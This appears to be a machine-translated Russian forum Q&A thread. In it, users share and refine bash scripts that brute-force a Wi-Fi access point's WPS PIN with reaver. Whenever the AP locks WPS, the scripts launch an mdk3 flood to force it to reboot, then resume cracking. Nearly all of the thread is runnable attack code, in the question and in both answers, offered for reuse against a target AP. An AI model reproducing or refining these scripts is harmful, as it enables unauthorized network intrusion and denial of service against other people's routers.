Скрипт Bash для программы reaver для разблокировки статуса wps-locked
Прежде всего, извините за мой плохой плохой английский. Я пытаюсь написать скрипт bash, чтобы выполнить взлом AP WPS с помощью Reaver. Проблема состоит в том, что после попытки некоторых WPS-PIN AP блокирует WPS, поэтому я не использую его.
Чтобы решить это, я выполняю mdk3
атака, чтобы заставить AP перезагрузиться и иметь возможность атаковать его снова (после перезагрузки WPS перезагружается в разблокированном состоянии).
Проблема с этим подходом заключается в том, что:
- Я должен быть перед блокировкой ПК, когда AP заблокирована и
- делая атаку mdk3, остановите ее, когда AP перезагрузится, и снова выполните атаку reaver. Решение этого, очевидно, сценарий.
Я написал следующие строки, которые должны решить эту проблему.
Я должен сказать, что я абсолютный нуб в скриптах bash, поэтому скрипт не "профессиональный", это просто "обходной путь" для решения моей проблемы.
#!/bin/bash
while true; do
# Switch to the correct channel and save it into $channel
echo Detecting AP channel
timeout 25 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -q # Switch to the AP channel
rm ap_channel 2> /dev/null
touch ap_channel
timeout 5 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 2 | head -c 1)"
rm ap_channel
# Attacks the AP while it isn't wps-locked
rm ap_status 2> /dev/null
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -z "$(grep Locked ap_status)" ]; do
echo Performing reaver attack
aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s REAVER_PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now locked. Performs a mdk3 attack (in order to reboot the AP) while the AP wps-status is Locked
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > /dev/null &
mdk3_pid=$!
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
while [ -n "$(grep Locked ap_status)" ]; do
echo Trying to reboot the AP
rm ap_status
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 2 mins till AP init
sleep 120
done
Проблема в этом сценарии состоит в том, что перенаправление stdout, которое я использую для вывода airodump, выполняется иначе, если я выполняю его непосредственно в командной строке, чем если бы я выполнял его внутри сценария.
timeout 10 airodump-ng wlan0mon --wps --essid AP_SSID -c $channel 2> ap_status
Мне нужен способ выполнить строку выше в сценарии, как если бы я выполнял его непосредственно в tty. Я не могу сделать это с помощью exec, потому что мне нужно продолжить работу со сценарием.
ПРИМЕЧАНИЕ: я не могу использовать опцию -w для airodump-ng, потому что она не сохраняет статус WPS.
Может ли кто-нибудь помочь мне с этим?
2 ответа
Я наконец получил это. Я нашел обходной путь для решения этой проблемы, перенаправив стандартный вывод команд в файлы. Я выкладываю сценарий, может быть, кто-то может его использовать.
! / Bin/ Баш
while true; do
rm attack
rm ap_status
rm ap_channel
# Detects the AP channel
echo Detecting AP channel
timeout 45 reaver -i wlan0mon -e AP_SSID -b AP_BSSID -vv > ap_channel # Switch to the AP channel
timeout 15 aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon > ap_channel
channel="$(head -1 ap_channel | tail -c 3 | head -c 2)"
rm ap_channel
echo Detected AP channel $channel
# Attacks the AP using reaver till the AP locks the WPS
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
while [ -z "$(grep Locked ap_status)" ]; do
echo Performing reaver attack
aireplay-ng -1 0 -e AP_SSID -a AP_BSSID -h MY_MAC wlan0mon
timeout 30 reaver -i wlan0mon -e AP_SSID -b AP_BSSID --no-nacks -vv -s PREV_SESSION.wpc -w -A -g 1 -C gnome-screenshot -f
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
done
# Force a reboot in the AP to unlock WPS
((mdk3 wlan0mon a -a AP_BSSID -m) 2>&1) > attack &
mdk3_pid=$!
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
while [ -n "$(grep Locked ap_status -m 1)" ]; do
echo Trying to reboot the AP
((airodump-ng wlan0mon --wps --essid AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 10
kill -9 $airodump_pid
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
echo AP rebooted. Waiting 5 mins till AP init
rm attack
rm ap_status
sleep 300
done
Задержки установлены на длинные, но они в порядке. Это зависит от точки доступа, вы можете изменить их.
Для использования скрипта необходимы пакеты aircrack, reaver (последняя версия, та, которая имеет опцию --wps), timeout и mdk3.
Если кто-то, кто знает о скриптах bash, хочет изменить скрипт и загрузить лучший, это будет здорово!
Мой вариант. Исправлена задержка замены dynamic wait
, Посчитай попробуй пин и подожди.
Замените "-C gnome-screenshot -f" на программу скриншотов или удалите ее.
!/bin/bash
while true; do
rm attack 2> null
rm ap_status 2> null
rm ap_channel 2> null
rm assoc 2> null
AP_SSID="TARGET_ESSID"
AP_BSSID="TARGET_BSSID"
MY_MAC="YOU_MAC"
MON_INTERFACE=wlan0mon
PREV_SESS_FILE="PREV_SESSION_FILE.wpc"
countTryPin=0
countFile=totalTryPinCount # count file to store total try pin
waitTryReboot=0 # count wait time AP rebooting (DDOS MDK3)
waitReboot=0 # count wait time AP recovery after rebooting
touch $countFile
echo -e -n "\n\nDetect channel"
touch assoc
((reaver -i $MON_INTERFACE -e $AP_SSID -b $AP_BSSID -A -s $PREV_SESS_FILE) 2>&1) > assoc &
assoc_pid=$!
while [ -z "$(grep Associated assoc)" ]; do
sleep 3
echo -n .
done
echo -e "\n\n"
kill -9 $assoc_pid
wait $assoc_pid 2> null
rm assoc
echo -n "Wait association"
((aireplay-ng -1 0 -e $AP_SSID -a $AP_BSSID -h $MY_MAC $MON_INTERFACE) 2>&1) > ap_channel &
ap_channel_pid=$!
while [ -z "$(grep successful ap_channel)" ]; do
sleep 1
echo -n "."
done
channel="$(head -1 ap_channel | tail -c 3 | head -c 2)"
echo -e "\n\Channel set to $channel\n\n"
rm ap_channel
touch ap_status
echo -n -e "\nCheck AP WPS lock"
while [ -z "$(grep $AP_SSID ap_status)" ]; do
((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
echo -n .
sleep 1
kill -9 $airodump_pid
wait $airodump_pid 2> null
done
echo -e "\n\n"
((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
while [ -z "$(grep $AP_SSID ap_status -m 1)" ]; do
sleep 2
done
kill -9 $airodump_pid
wait $airodump_pid 2> null
while [ -z "$(grep Locked ap_status -m 1)" ]; do
((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
echo -e "\n\nBegig reaver attack\n\n"
echo -n "Wait association"
((aireplay-ng -1 0 -e $AP_SSID -a $AP_BSSID -h $MY_MAC $MON_INTERFACE) 2>&1) > ap_channel &
ap_channel_pid=$!
while [ -z "$(grep successful ap_channel)" ]; do
sleep 1
echo -n "."
done
echo -e "\n\n"
timeout 10 reaver -i $MON_INTERFACE -e $AP_SSID -b $AP_BSSID --no-nacks -vv -s $PREV_SESS_FILE -w -A -g 1 -C gnome-screenshot -f # remove or replace "-C gnome-screenshot -f" to you screenshot programm
countTryPin=$[countTryPin + 1]
kill -9 $airodump_pid
wait $airodump_pid 2> null
done
# Force a reboot in the AP to unlock WPS
((mdk3 $MON_INTERFACE a -a $AP_BSSID) 2>&1) > attack &
mdk3_pid=$!
echo -e "\n\n"
while [ -n "$(grep Locked ap_status -m 1)" ] && [ -n "$(grep $AP_SSID ap_status -m 1)" ]; do
((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID -c $channel) 2>&1) > ap_status &
airodump_pid=$!
sleep 4
waitTryReboot=$[waitTryReboot + 4]
echo -e -n "\rTry calling reboot AP. Wait $waitTryReboot sec."
kill -9 $airodump_pid
wait $airodump_pid 2> null
done
# The AP is now rebooted. Kill the mdk3 process and wait 2 mins to restart reaver attack
kill -9 $mdk3_pid
wait $mdk3_pid 2> null
totalTryPin=`cat $countFile`
totalTryPin=$(($totalTryPin + $countTryPin))
echo $totalTryPin > $countFile
echo -e "\n\n"
while [ -z "$(grep $AP_SSID ap_status)" ]; do
# After reboot AP may be change channel. Run without channel
((airodump-ng $MON_INTERFACE --wps --essid $AP_SSID) 2>&1) > ap_status &
airodump_pid=$!
sleep 5
waitReboot=$[waitReboot + 5]
echo -e -n "\rAP rebooting. Wait $waitReboot sec."
kill -9 $airodump_pid
wait $airodump_pid 2> null
done
rm attack
rm ap_status
rm null
execTime=$(($SECONDS+$waitTryReboot+$waitReboot))
echo -e "\n\nDone $countTryPin try pin.\
\nCalling reboot AP wait time $waitTryReboot sec.\
\nAP rebooting wait time $waitReboot sec.\
\nTotal execute time $SECONDS sec.\
\nTotal try pin $totalTryPin\n\n"
sleep 3
SECONDS=0
done